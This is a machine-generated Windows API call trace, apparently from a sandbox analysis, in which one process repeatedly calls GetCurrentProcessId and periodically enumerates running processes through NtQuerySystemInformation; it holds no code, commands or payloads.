GetCurrentProcessId () returned 0x10c0 [0231.099] GetCurrentProcessId () returned 0x10c0 [0231.099] GetCurrentProcessId () returned 0x10c0 [0231.099] GetCurrentProcessId () returned 0x10c0 [0231.099] GetCurrentProcessId () returned 0x10c0 [0231.099] GetCurrentProcessId () returned 0x10c0 [0231.099] GetCurrentProcessId () returned 0x10c0 [0231.099] GetCurrentProcessId () returned 0x10c0 [0231.099] GetCurrentProcessId () returned 0x10c0 [0231.100] GetCurrentProcessId () returned 0x10c0 [0231.100] GetCurrentProcessId () returned 0x10c0 [0231.100] GetCurrentProcessId () returned 0x10c0 [0231.100] GetCurrentProcessId () returned 0x10c0 [0231.100] GetCurrentProcessId () returned 0x10c0 [0231.100] GetCurrentProcessId () returned 0x10c0 [0231.100] GetCurrentProcessId () returned 0x10c0 [0231.100] GetCurrentProcessId () returned 0x10c0 [0231.100] GetCurrentProcessId () returned 0x10c0 [0231.100] GetCurrentProcessId () returned 0x10c0 [0231.100] GetCurrentProcessId () returned 0x10c0 [0231.100] GetCurrentProcessId () returned 0x10c0 [0231.100] GetCurrentProcessId () returned 0x10c0 [0231.100] GetCurrentProcessId () returned 0x10c0 [0231.100] GetCurrentProcessId () returned 0x10c0 [0231.100] GetCurrentProcessId () returned 0x10c0 [0231.100] GetCurrentProcessId () returned 0x10c0 [0231.100] GetCurrentProcessId () returned 0x10c0 [0231.100] GetCurrentProcessId () returned 0x10c0 [0231.100] GetCurrentProcessId () returned 0x10c0 [0231.100] GetCurrentProcessId () returned 0x10c0 [0231.100] GetCurrentProcessId () returned 0x10c0 [0231.102] GetCurrentProcessId () returned 0x10c0 [0231.102] GetCurrentProcessId () returned 0x10c0 [0231.102] GetCurrentProcessId () returned 0x10c0 [0231.102] GetCurrentProcessId () returned 0x10c0 [0231.102] GetCurrentProcessId () returned 0x10c0 [0231.102] GetCurrentProcessId () returned 0x10c0 [0231.102] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.103] GetCurrentProcessId () returned 0x10c0 [0231.689] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db60) returned 0x0 [0231.701] GetCurrentProcessId () returned 0x10c0 [0231.701] GetCurrentProcessId () returned 0x10c0 [0231.701] GetCurrentProcessId () returned 0x10c0 [0231.701] GetCurrentProcessId () returned 0x10c0 [0231.701] GetCurrentProcessId () returned 0x10c0 [0231.701] GetCurrentProcessId () returned 0x10c0 [0231.701] GetCurrentProcessId () returned 0x10c0 [0231.701] GetCurrentProcessId () returned 0x10c0 [0231.701] GetCurrentProcessId () returned 0x10c0 [0231.701] GetCurrentProcessId () returned 0x10c0 [0231.701] GetCurrentProcessId () returned 0x10c0 [0231.701] GetCurrentProcessId () returned 0x10c0 [0231.701] GetCurrentProcessId () returned 0x10c0 [0231.701] GetCurrentProcessId () returned 0x10c0 [0231.701] GetCurrentProcessId () returned 0x10c0 [0231.701] GetCurrentProcessId () returned 0x10c0 [0231.701] GetCurrentProcessId () returned 0x10c0 [0231.701] GetCurrentProcessId () returned 0x10c0 [0231.701] GetCurrentProcessId () returned 0x10c0 [0231.701] GetCurrentProcessId () returned 0x10c0 [0231.701] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.702] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.703] GetCurrentProcessId () returned 0x10c0 [0231.704] GetCurrentProcessId () returned 0x10c0 [0231.704] GetCurrentProcessId () returned 0x10c0 [0231.704] GetCurrentProcessId () returned 0x10c0 [0231.704] GetCurrentProcessId () returned 0x10c0 [0231.704] GetCurrentProcessId () returned 0x10c0 [0231.704] GetCurrentProcessId () returned 0x10c0 [0231.704] GetCurrentProcessId () returned 0x10c0 [0231.704] GetCurrentProcessId () returned 0x10c0 [0231.704] GetCurrentProcessId () returned 0x10c0 [0231.704] GetCurrentProcessId () returned 0x10c0 [0231.704] GetCurrentProcessId () returned 0x10c0 [0231.704] GetCurrentProcessId () returned 0x10c0 [0231.704] GetCurrentProcessId () returned 0x10c0 [0231.704] GetCurrentProcessId () returned 0x10c0 [0231.704] GetCurrentProcessId () returned 0x10c0 [0231.704] GetCurrentProcessId () returned 0x10c0 [0231.704] GetCurrentProcessId () returned 0x10c0 [0231.704] GetCurrentProcessId () returned 0x10c0 [0231.704] GetCurrentProcessId () returned 0x10c0 [0232.302] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db60) returned 0x0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.304] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.305] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.306] GetCurrentProcessId () returned 0x10c0 [0232.307] GetCurrentProcessId () returned 0x10c0 [0232.307] GetCurrentProcessId () returned 0x10c0 [0232.307] GetCurrentProcessId () returned 0x10c0 [0232.307] GetCurrentProcessId () returned 0x10c0 [0232.307] GetCurrentProcessId () returned 0x10c0 [0232.307] GetCurrentProcessId () returned 0x10c0 [0232.307] GetCurrentProcessId () returned 0x10c0 [0232.307] GetCurrentProcessId () returned 0x10c0 [0232.307] GetCurrentProcessId () returned 0x10c0 [0232.307] GetCurrentProcessId () returned 0x10c0 [0232.307] GetCurrentProcessId () returned 0x10c0 [0232.307] GetCurrentProcessId () returned 0x10c0 [0232.307] GetCurrentProcessId () returned 0x10c0 [0232.307] GetCurrentProcessId () returned 0x10c0 [0232.956] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db60) returned 0x0 [0232.957] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.958] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.959] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.960] GetCurrentProcessId () returned 0x10c0 [0232.961] GetCurrentProcessId () returned 0x10c0 [0232.961] GetCurrentProcessId () returned 0x10c0 [0232.961] GetCurrentProcessId () returned 0x10c0 [0232.961] GetCurrentProcessId () returned 0x10c0 [0232.961] GetCurrentProcessId () returned 0x10c0 [0232.961] GetCurrentProcessId () returned 0x10c0 [0232.961] GetCurrentProcessId () returned 0x10c0 [0232.961] GetCurrentProcessId () returned 0x10c0 [0232.961] GetCurrentProcessId () returned 0x10c0 [0232.961] GetCurrentProcessId () returned 0x10c0 [0232.961] GetCurrentProcessId () returned 0x10c0 [0232.961] GetCurrentProcessId () returned 0x10c0 [0232.961] GetCurrentProcessId () returned 0x10c0 [0232.961] GetCurrentProcessId () returned 0x10c0 [0232.961] GetCurrentProcessId () returned 0x10c0 [0232.961] GetCurrentProcessId () returned 0x10c0 [0232.961] GetCurrentProcessId () returned 0x10c0 [0232.961] GetCurrentProcessId () returned 0x10c0 [0232.961] GetCurrentProcessId () returned 0x10c0 [0232.961] GetCurrentProcessId () returned 0x10c0 [0233.531] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db60) returned 0x0 [0233.537] GetCurrentProcessId () returned 0x10c0 [0233.537] GetCurrentProcessId () returned 0x10c0 [0233.537] GetCurrentProcessId () returned 0x10c0 [0233.538] GetCurrentProcessId () returned 0x10c0 [0233.538] GetCurrentProcessId () returned 0x10c0 [0233.538] GetCurrentProcessId () returned 0x10c0 [0233.538] GetCurrentProcessId () returned 0x10c0 [0233.538] GetCurrentProcessId () returned 0x10c0 [0233.538] GetCurrentProcessId () returned 0x10c0 [0233.538] GetCurrentProcessId () returned 0x10c0 [0233.538] GetCurrentProcessId () returned 0x10c0 [0233.538] GetCurrentProcessId () returned 0x10c0 [0233.538] GetCurrentProcessId () returned 0x10c0 [0233.538] GetCurrentProcessId () returned 0x10c0 [0233.538] GetCurrentProcessId () returned 0x10c0 [0233.538] GetCurrentProcessId () returned 0x10c0 [0233.538] GetCurrentProcessId () returned 0x10c0 [0233.538] GetCurrentProcessId () returned 0x10c0 [0233.538] GetCurrentProcessId () returned 0x10c0 [0233.538] GetCurrentProcessId () returned 0x10c0 [0233.538] GetCurrentProcessId () returned 0x10c0 [0233.538] GetCurrentProcessId () returned 0x10c0 [0233.538] GetCurrentProcessId () returned 0x10c0 [0233.538] GetCurrentProcessId () returned 0x10c0 [0233.538] GetCurrentProcessId () returned 0x10c0 [0233.538] GetCurrentProcessId () returned 0x10c0 [0233.538] GetCurrentProcessId () returned 0x10c0 [0233.538] GetCurrentProcessId () returned 0x10c0 [0233.539] GetCurrentProcessId () returned 0x10c0 [0233.539] GetCurrentProcessId () returned 0x10c0 [0233.539] GetCurrentProcessId () returned 0x10c0 [0233.539] GetCurrentProcessId () returned 0x10c0 [0233.539] GetCurrentProcessId () returned 0x10c0 [0233.539] GetCurrentProcessId () returned 0x10c0 [0233.539] GetCurrentProcessId () returned 0x10c0 [0233.539] GetCurrentProcessId () returned 0x10c0 [0233.539] GetCurrentProcessId () returned 0x10c0 [0233.539] GetCurrentProcessId () returned 0x10c0 [0233.539] GetCurrentProcessId () returned 0x10c0 [0233.539] GetCurrentProcessId () returned 0x10c0 [0233.539] GetCurrentProcessId () returned 0x10c0 [0233.539] GetCurrentProcessId () returned 0x10c0 [0233.539] GetCurrentProcessId () returned 0x10c0 [0233.539] GetCurrentProcessId () returned 0x10c0 [0233.539] GetCurrentProcessId () returned 0x10c0 [0233.539] GetCurrentProcessId () returned 0x10c0 [0233.539] GetCurrentProcessId () returned 0x10c0 [0233.539] GetCurrentProcessId () returned 0x10c0 [0233.539] GetCurrentProcessId () returned 0x10c0 [0233.539] GetCurrentProcessId () returned 0x10c0 [0233.539] GetCurrentProcessId () returned 0x10c0 [0233.539] GetCurrentProcessId () returned 0x10c0 [0233.539] GetCurrentProcessId () returned 0x10c0 [0233.539] GetCurrentProcessId () returned 0x10c0 [0233.540] GetCurrentProcessId () returned 0x10c0 [0233.540] GetCurrentProcessId () returned 0x10c0 [0233.540] GetCurrentProcessId () returned 0x10c0 [0233.540] GetCurrentProcessId () returned 0x10c0 [0233.540] GetCurrentProcessId () returned 0x10c0 [0233.540] GetCurrentProcessId () returned 0x10c0 [0233.540] GetCurrentProcessId () returned 0x10c0 [0233.540] GetCurrentProcessId () returned 0x10c0 [0233.540] GetCurrentProcessId () returned 0x10c0 [0233.540] GetCurrentProcessId () returned 0x10c0 [0233.540] GetCurrentProcessId () returned 0x10c0 [0233.540] GetCurrentProcessId () returned 0x10c0 [0233.540] GetCurrentProcessId () returned 0x10c0 [0233.540] GetCurrentProcessId () returned 0x10c0 [0233.540] GetCurrentProcessId () returned 0x10c0 [0233.540] GetCurrentProcessId () returned 0x10c0 [0233.540] GetCurrentProcessId () returned 0x10c0 [0233.540] GetCurrentProcessId () returned 0x10c0 [0233.540] GetCurrentProcessId () returned 0x10c0 [0233.540] GetCurrentProcessId () returned 0x10c0 [0233.540] GetCurrentProcessId () returned 0x10c0 [0233.540] GetCurrentProcessId () returned 0x10c0 [0233.540] GetCurrentProcessId () returned 0x10c0 [0233.540] GetCurrentProcessId () returned 0x10c0 [0233.540] GetCurrentProcessId () returned 0x10c0 [0233.541] GetCurrentProcessId () returned 0x10c0 [0233.541] GetCurrentProcessId () returned 0x10c0 [0233.541] GetCurrentProcessId () returned 0x10c0 [0233.541] GetCurrentProcessId () returned 0x10c0 [0233.541] GetCurrentProcessId () returned 0x10c0 [0233.541] GetCurrentProcessId () returned 0x10c0 [0233.541] GetCurrentProcessId () returned 0x10c0 [0233.541] GetCurrentProcessId () returned 0x10c0 [0233.541] GetCurrentProcessId () returned 0x10c0 [0233.541] GetCurrentProcessId () returned 0x10c0 [0233.541] GetCurrentProcessId () returned 0x10c0 [0233.541] GetCurrentProcessId () returned 0x10c0 [0233.541] GetCurrentProcessId () returned 0x10c0 [0233.541] GetCurrentProcessId () returned 0x10c0 [0233.541] GetCurrentProcessId () returned 0x10c0 [0233.541] GetCurrentProcessId () returned 0x10c0 [0233.541] GetCurrentProcessId () returned 0x10c0 [0233.541] GetCurrentProcessId () returned 0x10c0 [0233.541] GetCurrentProcessId () returned 0x10c0 [0233.541] GetCurrentProcessId () returned 0x10c0 [0233.541] GetCurrentProcessId () returned 0x10c0 [0233.541] GetCurrentProcessId () returned 0x10c0 [0233.541] GetCurrentProcessId () returned 0x10c0 [0233.541] GetCurrentProcessId () returned 0x10c0 [0233.541] GetCurrentProcessId () returned 0x10c0 [0233.542] GetCurrentProcessId () returned 0x10c0 [0233.542] GetCurrentProcessId () returned 0x10c0 [0233.542] GetCurrentProcessId () returned 0x10c0 [0233.542] GetCurrentProcessId () returned 0x10c0 [0233.542] GetCurrentProcessId () returned 0x10c0 [0233.542] GetCurrentProcessId () returned 0x10c0 [0233.542] GetCurrentProcessId () returned 0x10c0 [0233.542] GetCurrentProcessId () returned 0x10c0 [0234.128] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db60) returned 0x0 [0234.130] GetCurrentProcessId () returned 0x10c0 [0234.130] GetCurrentProcessId () returned 0x10c0 [0234.130] GetCurrentProcessId () returned 0x10c0 [0234.130] GetCurrentProcessId () returned 0x10c0 [0234.130] GetCurrentProcessId () returned 0x10c0 [0234.130] GetCurrentProcessId () returned 0x10c0 [0234.130] GetCurrentProcessId () returned 0x10c0 [0234.130] GetCurrentProcessId () returned 0x10c0 [0234.130] GetCurrentProcessId () returned 0x10c0 [0234.130] GetCurrentProcessId () returned 0x10c0 [0234.131] GetCurrentProcessId () returned 0x10c0 [0234.131] GetCurrentProcessId () returned 0x10c0 [0234.131] GetCurrentProcessId () returned 0x10c0 [0234.131] GetCurrentProcessId () returned 0x10c0 [0234.131] GetCurrentProcessId () returned 0x10c0 [0234.131] GetCurrentProcessId () returned 0x10c0 [0234.131] GetCurrentProcessId () returned 0x10c0 [0234.131] GetCurrentProcessId () returned 0x10c0 [0234.131] GetCurrentProcessId () returned 0x10c0 [0234.131] GetCurrentProcessId () returned 0x10c0 [0234.131] GetCurrentProcessId () returned 0x10c0 [0234.131] GetCurrentProcessId () returned 0x10c0 [0234.131] GetCurrentProcessId () returned 0x10c0 [0234.131] GetCurrentProcessId () returned 0x10c0 [0234.131] GetCurrentProcessId () returned 0x10c0 [0234.131] GetCurrentProcessId () returned 0x10c0 [0234.131] GetCurrentProcessId () returned 0x10c0 [0234.131] GetCurrentProcessId () returned 0x10c0 [0234.131] GetCurrentProcessId () returned 0x10c0 [0234.131] GetCurrentProcessId () returned 0x10c0 [0234.131] GetCurrentProcessId () returned 0x10c0 [0234.131] GetCurrentProcessId () returned 0x10c0 [0234.131] GetCurrentProcessId () returned 0x10c0 [0234.131] GetCurrentProcessId () returned 0x10c0 [0234.131] GetCurrentProcessId () returned 0x10c0 [0234.131] GetCurrentProcessId () returned 0x10c0 [0234.132] GetCurrentProcessId () returned 0x10c0 [0234.132] GetCurrentProcessId () returned 0x10c0 [0234.132] GetCurrentProcessId () returned 0x10c0 [0234.132] GetCurrentProcessId () returned 